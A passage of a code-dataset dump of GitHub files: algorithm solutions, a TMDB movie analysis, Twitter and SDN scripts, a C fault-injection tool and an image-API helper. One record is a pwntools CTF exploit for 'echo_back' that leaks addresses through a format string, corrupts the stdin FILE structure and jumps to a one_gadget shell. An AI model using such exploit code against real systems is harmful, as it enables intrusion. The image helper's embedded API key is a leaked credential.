cache_clear\n\nfrom numpy import lcm\nfrom sortedcontainers import SortedList\nfrom itertools import permutations, combinations, accumulate\n\nlowbit = lambda x: x & -x\nMOD = int(1e9 + 7)\nINF = int(1e20)\n\n\nclass Solution:\n def magnificentSets(self, n: int, edges: List[List[int]]) -> int:\n graph = [[] for _ in range(n)]\n # 建图\n for x, y in edges:\n x -= 1\n y -= 1\n graph[x].append(y)\n graph[y].append(x)\n\n time = [0] * n\n clock = 0\n\n def bfs(start: int) -> int:\n # 返回当前起始点所能获取的最大编号\n mx = 0\n nonlocal clock\n clock += 1\n time[start] = clock\n q = deque([(start, base)])\n while q:\n nd, idx = q.popleft()\n # 动态记录所有点的编号,保留最大编号\n mx = max(mx, idx)\n for nst in graph[nd]:\n if time[nst] != clock:\n # 时间不相同,未被访问\n time[nst] = clock\n q.append((nst, idx + 1))\n return mx\n\n color = [0] * n\n\n def dfs(nd: int, col: int) -> bool:\n color[nd] = col # 给当前节点染色\n node.append(nd)\n for nst in graph[nd]:\n if color[nst] == col:\n # 相邻节点被染成了同一种颜色,则存在奇数环\n return False\n if color[nst] == 0:\n # 下一个节点还未被染色\n if not dfs(nst, -col):\n # 邻居不行的话,同样不行\n return False\n return True\n\n ans = 0\n for i, c in enumerate(color):\n if c:\n # 已经被访问(染色)过\n continue\n node = []\n if not dfs(i, 1):\n # 存在奇数环\n return -1\n base = ans + 1\n for x in node:\n # 枚举每一个节点所产生的最大编号\n ans = max(ans, bfs(x))\n return ans\n\n\ndef main():\n s = Solution()\n res = s.magnificentSets(92,\n [[67, 29], [13, 29], [77, 29], [36, 29], [82, 29], [54, 29], [57, 29], [53, 29], [68, 29],\n [26, 29], [21, 29], [46, 29], [41, 29], [45, 29], [56, 29], [88, 29], [2, 29], [7, 29],\n [5, 29], [16, 29], [37, 29], [50, 29], [79, 29], [91, 29], [48, 29], [87, 29], [25, 29],\n [80, 29], [71, 29], [9, 29], [78, 29], [33, 29], [4, 29], [44, 29], [72, 29], [65, 29],\n [61, 29]])\n print(res)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Alan-learner/Algorithm","sub_path":"Platform/Leetcode/Weekly/week322/week322_t4-graph-check_cycle-dfs-bfs.py","file_name":"week322_t4-graph-check_cycle-dfs-bfs.py","file_ext":"py","file_size_in_byte":3183,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16806494753","text":"# BOJ 1992 쿼드트리\n# 220919\n\nimport sys\ninput = sys.stdin.readline\n\n# 입력값 받기\nN = int(input())\narr = [ input() for _ in range(N)]\n\n# 한 영역을 기준으로 모든 원소의 값이 같은지 확인\ndef quadTree(i_start=0, i_end=N-1, j_start=0, j_end=N-1):\n # 영역 왼쪽 위의 첫번째 원소의 값을 기준으로 비교\n num = arr[i_start][j_start]\n # flag\n status = True\n # 전체 영역을 순회하면서 비교\n for i in range(i_start, i_end+1):\n # flag가 True일 때만 계속 진행\n if not status:\n break\n for j in range(j_start, j_end+1):\n # 하나라도 숫자가 다르면 flag 세우고 중단\n if arr[i][j] != num:\n status = False\n break\n # flag가 True면 모든 숫자가 같다는 뜻으로\n # 해당 숫자를 반환\n if status:\n return num\n # flag가 False면 숫자가 다르다는 뜻으로\n # 영역을 4분할하여 재귀 호출\n else:\n i_mid = (i_start + i_end) // 2\n j_mid = (j_start + j_end) // 2\n return '({}{}{}{})' .format(quadTree(i_start, i_mid, j_start, j_mid), quadTree(i_start, i_mid, j_mid+1, j_end), quadTree(i_mid+1, i_end, j_start, j_mid), quadTree(i_mid+1, i_end, j_mid+1, j_end))\n\nprint(quadTree())","repo_name":"joney0715/Algorithm_GroupStudy","sub_path":"angielxx/0921/personal_1992_쿼드트리/s1.py","file_name":"s1.py","file_ext":"py","file_size_in_byte":1310,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"362460201","text":"import sys, os, csv, codecs, citation_filtering\nfrom scopus_publication import ScopusPublication\n\ndef main():\n shared = 0.10\n year = 2018\n\n review = 'seeds'\n studies_folder = ''\n data_folder = ''\n output_file = 'rake_results.csv'\n\n print('Getting list of included studies..')\n seeds = []\n with open(os.path.join(studies_folder, review, 'included.csv')) as f:\n for line in f:\n seeds.append(line.strip().split(',')[1])\n\n print('Getting citation space..')\n scopus_pubs = {}\n for seed in seeds:\n scopus_pubs[seed] = ScopusPublication(data_folder, seed)\n scopus_pubs[seed].filter_citations(year)\n scopus_pubs[seed].get_co_cited_eids()\n \n\n print('Getting strong citation relationships..')\n strong_cite_related_pub_eids = set()\n for seed in seeds:\n strong_cite_related_pub_eids = strong_cite_related_pub_eids.union(citation_filtering.get_strong_citation_relationship(scopus_pubs[seed], shared))\n\n strong_cite_related_pubs = []\n for eid in strong_cite_related_pub_eids:\n strong_cite_related_pubs.append(ScopusPublication(data_folder, eid, False))\n\n print('Getting seed keywords..')\n seed_keywords = set()\n for seed in seeds:\n seed_keywords = seed_keywords.union(scopus_pubs[seed].rake_keywords)\n\n bigram_trigram_keywords = set()\n for seed_keyword in seed_keywords:\n total_words = len(seed_keyword.split())\n if total_words == 2 or total_words == 3:\n bigram_trigram_keywords.add(seed_keyword)\n\n print('Filtering by keywords..')\n strong_related_pubs = []\n for strong_cite_related_pub in strong_cite_related_pubs:\n if len(bigram_trigram_keywords.intersection(strong_cite_related_pub.rake_keywords)) > 0:\n strong_related_pubs.append(strong_cite_related_pub)\n\n print('Writing results to file..')\n with codecs.open(output_file, 'w', 'utf-8') as o:\n fieldnames = ['SCOPUS_ID', 'TITLE', 'ABSTRACT']\n writer = csv.DictWriter(o, delimiter = '\\t', fieldnames = fieldnames)\n writer.writeheader()\n\n for strong_related_pub in strong_related_pubs:\n writer.writerow({'SCOPUS_ID' : strong_related_pub.eid, 'TITLE' : strong_related_pub.title, 'ABSTRACT' : strong_related_pub.abstract})\n\nif __name__ == \"__main__\":\n main()","repo_name":"janinaj/lit-review-search","sub_path":"run_keyword.py","file_name":"run_keyword.py","file_ext":"py","file_size_in_byte":2327,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"35308960488","text":"from src.collection.twitter.connection import twitter_setup\nfrom src.collection.collect import get_username, get_replies, get_tweets_query\nimport time\n\n# Note: running these tests puts heavy pressure on the API.\n# Do make sure not too many requests have been made beforehand.\n# By precaution, all tests executing a query start by 15 seconds sleep time.\n\nclass TestCollect:\n def get_username_test(self):\n tweet_id = 1194320833977733123\n assert get_username(tweet_id, twitter_api) == \"BorisJohnson\"\n\n def get_replies_test(self):\n time.sleep(15)\n\n #Tweet from Boris Johnson\n tweet_id = 1194320833977733123\n tweet_list = get_replies(tweet_id, twitter_api, \"english\")\n\n assert tweet_list != []\n # l may be empty for some reason (too many requests in too short a time?)\n # If so, try again later.\n\n assert tweet_list[0].in_reply_to_status_id == tweet_id\n\n def get_tweets_query_test(self):\n time.sleep(15)\n #This test asserts that at least one of the results from a search with keywords \"donald trump\"\n #contains \"trump\" in its text.\n\n tweet_list = get_tweets_query(\"trump\", twitter_api, \"english\")\n assert tweet_list != []\n # l may be empty for some reason (too many requests in too short a time?)\n # If so, try again later.\n\n relevancy = False\n for tweet in tweet_list:\n if \"trump\" in tweet._json[\"full_text\"].casefold():\n relevancy = True\n break\n assert relevancy == True\n \ntwitter_api = twitter_setup()\n\ntest = TestCollect()\ntest.get_username_test()\ntest.get_tweets_query_test()\ntest.get_replies_test()","repo_name":"raphael-gr/Insult-Detector","sub_path":"tests/collect_test.py","file_name":"collect_test.py","file_ext":"py","file_size_in_byte":1694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"42095050316","text":"from pwn import *\ncontext.update(arch='amd64', log_level='debug')\ncontext.terminal=['tmux','splitw','-h']\n#p = remote('111.198.29.45','30380')\np = process('./echo_back')\nl = ELF('/libc64.so')\ne = ELF('./echo_back')\n\ndef echo(length, data):\n p.sendlineafter('>>', '2')\n p.sendafter('length', str(length))\n p.send(str(data))\n try:\n p.recvuntil('anonymous say:',timeout=0.5)\n return p.recvuntil('-----', drop=True)\n except Exception as e:\n pass\n\ndef set_name(data):\n p.sendlineafter('>>', '1')\n p.sendafter('name', str(data))\n\ndef dbg(code=''):\n gdb.attach(p,code)\n\nif __name__ == '__main__':\n l.address = int(echo('7\\n', '%2$p'), 16) - 0x3c6780\n e.address = int(echo('7\\n', '%6$p'), 16) - 0xef8\n stack_addr = int(echo('7\\n', '%7$p'), 16) - 0x18\n set_name(p64(l.symbols['_IO_2_1_stdin_']+0x38))\n echo('7\\n', '%16$hhn\\n')\n echo(str(p64(l.address+0x3c4963)*3+p64(stack_addr)+p64(stack_addr+8)), '\\n')\n for _ in range(0x27):\n p.sendlineafter('>>', '2')\n p.sendlineafter('length', '')\n dbg(\"breakrva 0xbd5\")\n p.sendlineafter('>>', '2')\n p.sendlineafter('length', p64(l.address+0x45216))\n p.sendline()\n p.interactive()\n\n","repo_name":"Mask6asok/CTFchallenge","sub_path":"PWN/adworld/echo_back/oexp.py","file_name":"oexp.py","file_ext":"py","file_size_in_byte":1207,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"42713274186","text":"\nfrom collections import deque\nimport heapq\n\nimport sys\n\n\ndef read():\n return sys.stdin.readline().rstrip()\n\n\nN = int(read())\na = []\nfor _ in range(N):\n a.append(int(read()))\na.sort(reverse=True)\n\nanswer = 0\nseq = 1\nfor i in range(N):\n tip = a[i]-(seq-1)\n if tip <= 0:\n continue\n answer += tip\n seq += 1\n\nprint(answer)\n","repo_name":"SJ0000/PS","sub_path":"BOJ/BOJ_1758.py","file_name":"BOJ_1758.py","file_ext":"py","file_size_in_byte":344,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6470597592","text":"s=input()\na=[]\nb=[]\nf=False\nc=[]\nfor i in s:\n c.append(i)\n if i not in a:\n a.append(i)\n else:\n b.append(i)\nfor k in a:\n if k not in b:\n f=True\n for m in range(len(c)):\n if k in c[m]:\n print(m)\n break\n if k in c[m]:\n break\nif f==False:\n print(-1)","repo_name":"21A95A0425/codemind-python","sub_path":"First_Unique_Character_in_a_String.py","file_name":"First_Unique_Character_in_a_String.py","file_ext":"py","file_size_in_byte":347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15069779649","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # Project 2: TMDB Movies \n# \n# ## Table of Contents\n# \n\n# \n# ## Introduction\n# In this project, I will analyze TMDB movies dataset based on multiple criteria which are genres, year of release, and more.\n# I will walk through TMDB Movies dataset to answer multiple questions:\n# - What is the most \"genres\" who has the highest average vote?\n# - What is the most frequent average voting ?\n# - Which genres has the highes and lowest run time ?\n# - Which year has highest / lowest release movies \n# - Which year has highest / lowest average vote ?\n# - Which movie has the highest profit ?\n# - What is the movie who has the highest lost ?\n# \n\n# In[125]:\n\n\nimport numpy as np \nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nget_ipython().run_line_magic('matplotlib', 'inline')\n\n\n# \n# ## Data Wrangling\n# \n# - Upload the data and try take an overview on it and see its attribute\n# - Check how many columns and rows there are \n# - Chech the data type and if there are a nulls values \n# - See the summary statistics of each attribute \n# - Drop the duplicated row and make sure its deleted by see how many row we have \n# - See the disribution of each attribute \n# - Drop some attributes that i will not use in my analysis e.g. id and imdb_id etc...\n# - Replace the null with N/A. \n# - Droped the nulls in 'genres'.\n# - Changed release_year data type to datetime. \n# - Replace the zero values in revenue_adj and budget_adj columns with mean.\n# - Make sure everything is changed and it's clean. \n\n# In[126]:\n\n\ndf = pd.read_csv(r'C:\\Users\\Hp\\Desktop\\Data Analysis\\tmdb-movies.csv')\ndf.head()\n\n\n# In[127]:\n\n\ndf.shape\n\n\n# In[128]:\n\n\ndf.info()\n\n\n# In[129]:\n\n\ndf.describe()\n\n\n# In[130]:\n\n\nsum(df.duplicated())\n\n\n# In[131]:\n\n\ndf.drop_duplicates(keep = 'first', inplace =True)\n\n\n# In[132]:\n\n\ndf.shape\n\n\n# In[133]:\n\n\ndf.hist(figsize=(10,10))\n\n\n# ## Data Cleaning\n\n# In[134]:\n\n\ndf.drop(['id', 'imdb_id', 'homepage', 'tagline', 'budget', 'revenue', 'keywords'], \n axis = 1, inplace = True)\ndf.head()\n\n\n# In[135]:\n\n\ndf['director'].fillna('N/A', inplace = True)\ndf['production_companies'].fillna('N/A', inplace = True)\ndf['overview'].fillna('N/A', inplace = True)\ndf['cast'].fillna('N/A', inplace = True)\n\n\n# In[136]:\n\n\ndf.dropna(inplace = True)\n\n\n# In[137]:\n\n\ndf['release_date'] = pd.to_datetime(df['release_date'])\n\n\n# In[138]:\n\n\nbudget_mean = df['budget_adj'].mean()\nrevenue_mean = df['revenue_adj'].mean()\nruntime_mean = df['runtime'].mean()\nbudget_mean, revenue_mean, runtime_mean\n\n\n# In[139]:\n\n\ndf['budget_adj']= df['budget_adj'].replace(0, budget_mean)\ndf['revenue_adj']= df['revenue_adj'].replace(0, revenue_mean)\ndf['runtime']= df['runtime'].replace(0, runtime_mean)\ndf.describe()\n\n\n# In[140]:\n\n\ndf.info()\n\n\n# In[141]:\n\n\ndf.head()\n\n\n# \n# ## Exploratory Data Analysis\n# \n# \n# \n# ### Research Question 1: What is the most \"genres\" who has the highest average vote?\n\n# In[142]:\n\n\ndf.groupby('genres').vote_average.mean()\n\n\n# #### the most average vote is \"War|Drama|Action|Adventure|History\" has an average with 7.8 out of 10 and that makes a sense because a lot of people who prefer that kind of movies and the leats average vote is \"Western|Horror|Thriller\" and maybe because many people don't like horror movies\n\n# ### Research Question 2: What is the most frequent average voting ?\n\n# In[143]:\n\n\ndf.groupby('genres').vote_average.mean().plot(kind = 'hist', figsize = (8,8), fontsize = 10) \nplt.title('The most frequnet average voting based on genres', fontsize = 15)\nplt.legend();\n\n\n# ### We can notice the most frequent average voting is 6 and that makes sense because a lot of movies has this average.\n\n# ### Research Question 3: Which genres has the highes and lowest run time ?\n\n# In[144]:\n\n\ndf.groupby(['genres']).runtime.mean()\n\n\n# ### The historical movies (War|Drama|Action|Adventure|History) its take the most average runtime 540 min and that because its a real story so it takes time to cover, and family & fantasy movies (Action|Adventure|Animation|Family|Fantasy) its take the lest average runtime 56 min and maybe that because they don't want the kids to get bored.\n\n# ### Research Question 4: Which year has highest / lowest release movies \n\n# In[145]:\n\n\ndf.groupby(['release_year']).genres.count().plot(kind='barh', figsize=(12,12), fontsize = 10) \nplt.title('Which year has highest / lowest release movies', fontsize = 15)\nplt.legend();\n\n\n# ### The highest year whose release is 2014 by 699 movies and the lowest are 1961 and 1969 31 movies.\n\n# ### Research Question 5: Which year has highest / lowest average vote ? \n\n# In[146]:\n\n\ndf.groupby('release_year').vote_average.mean()\n\n\n# ### In 1973 has the highest average vote 6.7 and I have checked the movies in that year and nothing was very popular in that year but I noticed that a lot of movies the vote is between 7 and 8 and I think that the reason. And 2012 has the lowest average vote 5.79 and also I have checked the movies and I was shocked by the greatest movies was released in that year e.g.(The Dark Knight Rises, Django Unchained, & The Avengers, etc...) and that because there are more than 100 (18%)out of 584 movies the vote in between 1 - 2.5. \n\n# In[147]:\n\n\ndf['Profit'] = df['revenue_adj'] - df['budget_adj']\ndf.head()\n\n\n# ### Research Question 6: Which movie has the highest profit ?\n\n# In[148]:\n\n\nhigh_profit = df['Profit'].idxmax\ndf.loc[high_profit]\n\n\n# ### Star Wars 1977 is the highest profit its genres is Adventure|Action|Science with a profit $2,750,140,000\n\n# ### Research Question 7: What is the movie who has the highest lost ?\n\n# In[149]:\n\n\nlow_profit = df['Profit'].idxmin\ndf.loc[low_profit]\n\n\n# ### The Warrior's Way 2010 has the highest lost -$413,912,000 and its genres are Adventure|Fantasy|Action|Western|Thriller\n\n# ### Research Question 8: Does the popularity affected by the average vote?\n\n# In[150]:\n\n\ndf.plot(x='vote_average', y='popularity', kind='scatter', figsize = (8,8), fontsize = 10, label= 'popularity') \nplt.title('Which year has highest / lowest release movies', fontsize = 15)\nplt.legend();\n\n\n# ### As we can see in the chart the answer is Yes because of the vote average increase the popularity will increase as well.\n\n# ### Research Question 8: Does the popularity of the movies increase over the years?\n\n# In[151]:\n\n\ndf.plot(x='release_year', y='popularity', kind='scatter', figsize = (8,8), fontsize = 10, label= 'popularity') \nplt.title('Does the popularity increasing over the years?', fontsize = 15)\nplt.legend();\n\n\n# ### We can notice the popularity is vacillating over the years but in general it's increasing\n\n# \n# ## Conclusions\n# \n# first of all, I try to discover and understand the data by seeing its attributes and see how many columns and rows and see if there are any null values and check the data type and see the summary statistics of each attributes then a try to find if there is any duplicated row then I delete it finally I try to see the distribution of each attribute. \n# \n# secondly, I start cleaning by drop some attributes that will be useless such as id, imdb_id, homepage, tagline, keywords, etc...\n# then I replace the nulls values with N/A and the one who has a few nulls I dropped them. \n# \n# finally, I start data exploratory by some asking questions such as see the most \"genres\" who has the highest average voting, Which genres has the highest and lowest run time, Which year has highest / lowest average vote and finally see the movie who has the highest profit and highest lost. \n# \n# ### Limitations\n# 1- There is a duplicate row and I dropped it so the analysis be correct. \n# \n# 2- I dropped some extraneous columns in the data wangling process. Some of them may yield other useful results, e.g. id, tmdb_id, homepage, etc...\n# \n# 3- There are a lot of attributes that have null values some of them I replace it with N/A because it has a high number of null and it doesn't affect the analysis directly and the other I dropped them because it few and it affects the analyzing.\n# \n# 4- There are many of zero values in revenue_adj and budget_adj columns.I replace the zero value with mean. There might be alternative ways to better process to this kind of issue. \n# \n# 5- Some of the movies have more than one genre and that will affect the level of accuracy of the analysis.\n","repo_name":"Abdulellah98/Investigate-Dataset","sub_path":"investigate-a-dataset-template.py","file_name":"investigate-a-dataset-template.py","file_ext":"py","file_size_in_byte":8599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31410580081","text":"import csv\nimport json\nimport requests\nimport asyncio\nfrom timeout_predictor import timeout_predictor\nimport time\n\n\ndef add_log(log):\n file_name = 'log_packet_rate.csv'\n \n with open(file_name, 'a', newline = '') as logs:\n writer = csv.writer(logs)\n writer.writerow(log)\n\n\nasync def install_flow_entry(eth_src,\n eth_dst,\n ip_proto,\n ip_src,\n ip_dst,\n tp_src,\n tp_dst,\n row_count):\n \n flowkey = ip_src + '-' + ip_dst + '-' + eth_src + '-' + eth_dst + '-' + ip_proto\n min_timeout = 1\n max_timeout = 11\n\n flow_entry={}\n flow_entry[\"dpid\"] = \"1\"\n flow_entry[\"table_id\"] = \"0\"\n\n flow_entry[\"idle_timeout\"] = timeout_predictor(flowkey, min_timeout, max_timeout)\n\n match_obj={}\n if eth_src:\n match_obj['eth_src'] = eth_src\n\n if eth_dst:\n match_obj['eth_dst'] = eth_dst\n\n if ip_proto :\n match_obj['ip_proto'] = int(ip_proto)\n\n if ip_src:\n match_obj['eth_type'] = 2048\n match_obj['ipv4_src'] = ip_src\n if ip_dst:\n match_obj['eth_type'] = 2048\n match_obj['ipv4_dst'] = ip_dst\n\n if tp_src:\n match_obj['tp_src'] = tp_src\n\n if tp_dst:\n match_obj['tp_dst'] = tp_dst\n\n flow_entry['match'] = match_obj\n\n action_obj={}\n action_obj['type'] = \"OUTPUT\"\n action_obj['port'] = \"10\"\n\n flow_entry['actions'] = []\n flow_entry['actions'].append(action_obj)\n\n # all log\n log = [time.time(), flowkey]\n add_log(log)\n\n response = requests.post(\"http://localhost:8080/stats/flowentry/add\", data = json.dumps(flow_entry))\n print(response.status_code)\n\n # if response.status_code == 200:\n # pass\n # else:\n # print(response.status_code)\n\n\nasync def main():\n with open(\"univ1_pt0.csv\",newline='') as csvfile:\n datapackets = csv.DictReader(csvfile)\n # a = asyncio.get_event_loop()\n tasks = []\n count = 0\n batch_size = 10\n row_count = 0\n\n for row in datapackets:\n count += 1\n row_count += 1\n print(json.dumps(row))\n\n tasks.append(\n install_flow_entry(row[\"eth.src\"],\n row[\"eth.dst\"],\n row[\"ip.proto\"],\n row[\"ip.src\"],\n row[\"ip.dst\"],\n row[\"tcp.srcport\"],\n row[\"tcp.dstport\"],\n \n row_count))\n\n if count == batch_size:\n await asyncio.gather(*tasks, return_exceptions=False)\n tasks = []\n count = 0\n\nasyncio.run(main())\n\n#a.run_until_complete(main())","repo_name":"DigitalKhalid/sdn_flowtable_optimization","sub_path":"app/Parse_Univ_data.py","file_name":"Parse_Univ_data.py","file_ext":"py","file_size_in_byte":2741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15684888624","text":"#Fault Injection Tool\r\n#Writes to output file 'output.cc' by default\r\n#Consider: ~need to deal with block comments\r\n# ~make sure file doesnt contain functions by the names of those inserted\r\n#Assumed: ~function to perturb provided\r\n# ~perturb all += computations in a for loop\r\n# ~inject() func exists (and works)\r\n# ~type of z is double (for min/max in inject func)\r\n# ~error rate is stored in error_rate function\r\n\r\nimport re, sys\r\n\r\n#takes the result of readlines() and first line of a function\r\n#returns last line of the function\r\ndef boundaries(lines, sline) :\r\n numlines = len(lines)\r\n seen = 0\r\n count = 0\r\n cend = 0\r\n for line in range(sline, numlines) :\r\n current = lines[line]\r\n if (line <= cend) :\r\n continue #we are inside a block comment\r\n if (current.find(\"/*\") != -1) :\r\n cend = block(lines, line)\r\n current = current[:current.find(\"/*\")]\r\n if (current.find(\"//\") != -1) :\r\n current = current[:current.find(\"//\")] #ignore anything after '//'\r\n if (current.count(\"{\") != 0) :\r\n count += current.count(\"{\")\r\n seen = 1 #want to make sure we have seen a { before giving up\r\n if (current.count(\"}\") != 0) :\r\n count -= current.count(\"}\")\r\n if ((count == 0) & (seen != 0)) :\r\n return line\r\n\r\n#returns last line of a block comment (c code, so */)\r\ndef block(lines, sline) :\r\n numlines = len(lines)\r\n for line in range(sline, numlines) :\r\n current = lines[line]\r\n if (current.find(\"*/\") != -1) :\r\n return line\r\n\r\n#determine first line of innermost for loop\r\ndef innermost(lines, sline, eline) :\r\n #if we know there's def no more loops, don't waste time looking\r\n #if (' '.join(lines[sline+1:eline]).count('for') == 0) :\r\n # return sline\r\n cend = 0\r\n for line in range(sline+1, eline) :\r\n current = lines[line]\r\n if (line <= cend) :\r\n continue #we are inside a block comment\r\n if (current.find(\"/*\") != -1) :\r\n cend = block(lines, line)\r\n current = current[:current.find(\"/*\")]\r\n if (current.find(\"//\") != -1) :\r\n current = current[:current.find(\"//\")]\r\n #if ((current.split().count(\"for\") != 0) :\r\n if (current.find(\"for\") != -1) :\r\n e = boundaries(lines, line)\r\n return innermost(lines, line, e)\r\n return sline\r\n \r\n#takes lines and boundaries of function, finds a += computation in a\r\n#for loop and injects error into it by calling inject() function\r\ndef perturb(lines, start, end) :\r\n s = innermost(lines, start, end)\r\n e = boundaries(lines, s)\r\n print(s, \" : \", e, \" Boundaries of for loop\")\r\n for l in range(s, e) :\r\n cur = lines[l]\r\n #if not(cur.find(\"+=\") == -1) :\r\n if (cur.count(\"+=\") != 0) :\r\n loc = cur.find(\"+=\")\r\n print(\"found += at line \", l+1, \" and loc \", loc)\r\n loc += 2 #move 'pointer' to account for '+='\r\n front = cur[:loc]\r\n scol = cur.find(\";\")\r\n back = cur[loc:scol] #strip the ;\\n\r\n perturbed = front + ' inject(' + back + ');\\n'\r\n lines[l] = perturbed\r\n print(\"Perturbed line \", l+1)\r\n print(lines[l][:-1])\r\n \r\n#create and write output file line by line\r\ndef output(lines) :\r\n with open(outname, 'w') as out :\r\n for line in lines :\r\n out.write(line)\r\n\r\n#Add the necessary functions/code to the code from the original file\r\n#Takes in parsed error code file and readlines from original file\r\ndef merge(parsed, lines) :\r\n stdlib = 0\r\n floatlib = 0\r\n newlines = []\r\n incl = parsed['incl']\r\n decl = parsed['decl']\r\n func = parsed['func']\r\n last = []\r\n #first the includes. avoid duplicates\r\n for item in incl :\r\n if (lines.count(item) != 0) :\r\n incl.remove(item)\r\n for num, line in enumerate(lines) :\r\n #if we see an include statement, note the line number\r\n if (line.find(\"#include\") != -1) :\r\n last.append(num)\r\n newlines.append(line)\r\n #insert declarations after the last '#include' statement\r\n for d in range(len(decl)) :\r\n final = max(last) #should be the last '#include' statement\r\n newlines.insert(final+1+d, decl[d])\r\n #insert includes at the top\r\n for i in range(len(incl)) :\r\n newlines.insert(i, incl[i])\r\n #insert functions at the bottom\r\n newlines.append('\\n')\r\n for f in func :\r\n newlines.append(f)\r\n return newlines \r\n\r\n#Parses the error file\r\n#identifies functions by looking for '//function' on the preceding line\r\n#Returns dict{includes; declarations; functions}\r\ndef parsefile(ename) : \r\n with open(ename, 'r') as file :\r\n result = {\"incl\":[], \"decl\":[], \"func\":[]}\r\n lines = file.readlines()\r\n end = 0\r\n for line, cur in enumerate(lines) :\r\n if (line < end) :\r\n continue #we are inside a function\r\n if (cur.find(\"#include\") != -1) :\r\n result['incl'].append(cur)\r\n elif (cur.find(\";\") != -1) :\r\n result['decl'].append(cur)\r\n elif (cur.find(\"//function\") != -1) :\r\n start = line+1\r\n end = boundaries(lines, start)\r\n for l in lines[start:end+1] :\r\n result['func'].append(l)\r\n return result\r\n\r\n#checks if instance of function is a definition or prototype\r\n#obviously incomplete still....\r\ndef checkdef(lines, sline) :\r\n current = lines[sline]\r\n \r\n \r\n#MAIN PROGRAM\r\n\r\nfilename = input(\"File to read: \")\r\n#outname = input(\"Output file name: \")\r\noutname = \"output.cc\" #comment this out if user chooses output filename\r\n#errorname = input(\"Error code file: \")\r\nerrorname = \"i.cc\" #comment this out if user specifies error file\r\nfunctions = input(\"Functions to perturb (separate w/ spaces): \")\r\nrate = input(\"Error rate: \")\r\n\r\nwith open(filename, 'r') as file :\r\n lines = file.readlines()\r\n parsed = parsefile(errorname)\r\n for num, d in enumerate(parsed['decl']) : #account for user specified rate\r\n if (d.find(\"error_rate\") != -1) :\r\n loc = d.find(\"error_rate\")\r\n loc += 10 #move 'pointer' past the word\r\n d = d[:loc] #truncate the line\r\n d = d + \" = \" + str(rate) + \";\\n\"\r\n parsed['decl'][num] = d \r\n lines = merge(parsed, lines)\r\n functions = functions.split()\r\n\r\n cend = 0\r\n for function in functions :\r\n for line, current in enumerate(lines) :\r\n if (line <= cend) :\r\n continue #we are inside a block comment\r\n if (current.find(\"/*\") != -1) :\r\n cend = block(lines, line)\r\n current = current[:current.find(\"/*\")]\r\n if (current.find(\"//\") != -1) :\r\n current = current[:current.find(\"//\")] #ignore anything after '//'\r\n if(current.count(function) != 0) :\r\n print(\"Found \", function, \" at line \", line+1) \r\n if(current.find(\";\") == -1) :\r\n print(\"DEFINED at line \", line+1)\r\n start = line\r\n print(\"\\nFinding function boundaries...\")\r\n end = boundaries(lines, start) #finds end of function (given start)\r\n print(\"Boundaries found. Perturbing function...\\n\")\r\n perturb(lines, start, end)\r\n output(lines)\r\n","repo_name":"sbiales/FIT","sub_path":"fit_merge.py","file_name":"fit_merge.py","file_ext":"py","file_size_in_byte":7729,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20625743375","text":"import httplib, urllib, base64, json\n\ndef imageMSapi(link, service):\n subscription_key = '1af635b4b9684674bb4743026f5aa229'\n \n uri_base = 'westcentralus.api.cognitive.microsoft.com'\n\n headers = {\n # Request headers.\n 'Content-Type': 'application/json',\n 'Ocp-Apim-Subscription-Key': subscription_key,\n }\n\n params = urllib.urlencode({\n # Request parameters. All of them are optional.\n 'visualFeatures': 'Categories,Description,Color,Adult',\n 'language': 'en',\n })\n \n # The URL of a JPEG image to analyze.\n body = str({'url': link})\n\n try:\n # Execute the REST API call and get the response.\n conn = httplib.HTTPSConnection('westcentralus.api.cognitive.microsoft.com')\n conn.request(\"POST\", \"/vision/v1.0/\" + service + \"?%s\" % params, body, headers)\n response = conn.getresponse()\n data = response.read()\n\n # 'data' contains the JSON data. The following formats the JSON data for display.\n parsed = json.loads(data)\n## print (\"Response:\")\n## print json.loads(json.dumps(parsed, sort_keys=True))\n return json.loads(json.dumps(parsed, sort_keys=True))\n conn.close()\n\n except Exception as e:\n print('Error:')\n print(e)\n\ndef simplifyImageJson(link):\n accentColor = \"\"\n caption = \"\"\n textInImage = \"\"\n adult = \"\"\n \n## print \">>>>>> \"+link\n data = imageMSapi(link, \"analyze\")\n \n if data.has_key('color'):\n if data['color'].has_key('accentColor'):\n accentColor = data['color']['accentColor']\n\n if data.has_key('description'):\n if data['description'].has_key('captions'):\n if len(data['description']['captions'])>0:\n if data['description']['captions'][0].has_key('text') and data['description']['captions'][0]['confidence'] > 0.3:\n caption = data['description']['captions'][0]['text']\n\n if data.has_key('adult'):\n adult = data['adult']['isAdultContent']\n \n data = imageMSapi(link, \"ocr\")\n if data.has_key('regions'):\n if len(data['regions'])>0:\n numberOfLines = len(data['regions'][0]['lines'])\n for i in range(numberOfLines):\n numberOfWords = len(data['regions'][0]['lines'][i]['words'])\n for j in range(numberOfWords):\n textInImage = textInImage + \" \" + data['regions'][0]['lines'][i]['words'][j]['text']\n## print str({\"accentColor\":accentColor,\"caption\":caption,\"textInImage\":textInImage}) \n return {\"accentColor\":accentColor, \"adult\":adult,\"caption\":caption,\"textInImage\":textInImage}\n","repo_name":"AkhandMishratruth/socialPro","sub_path":"analyze.py","file_name":"analyze.py","file_ext":"py","file_size_in_byte":2675,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32901679422","text":"questions = {\n \"q1\" : {\n \"question\": \"Do you live on earth? \",\n \"y\" : 0,\n \"n\" : 10\n },\n\n \"q2\" : {\n \"question\" : 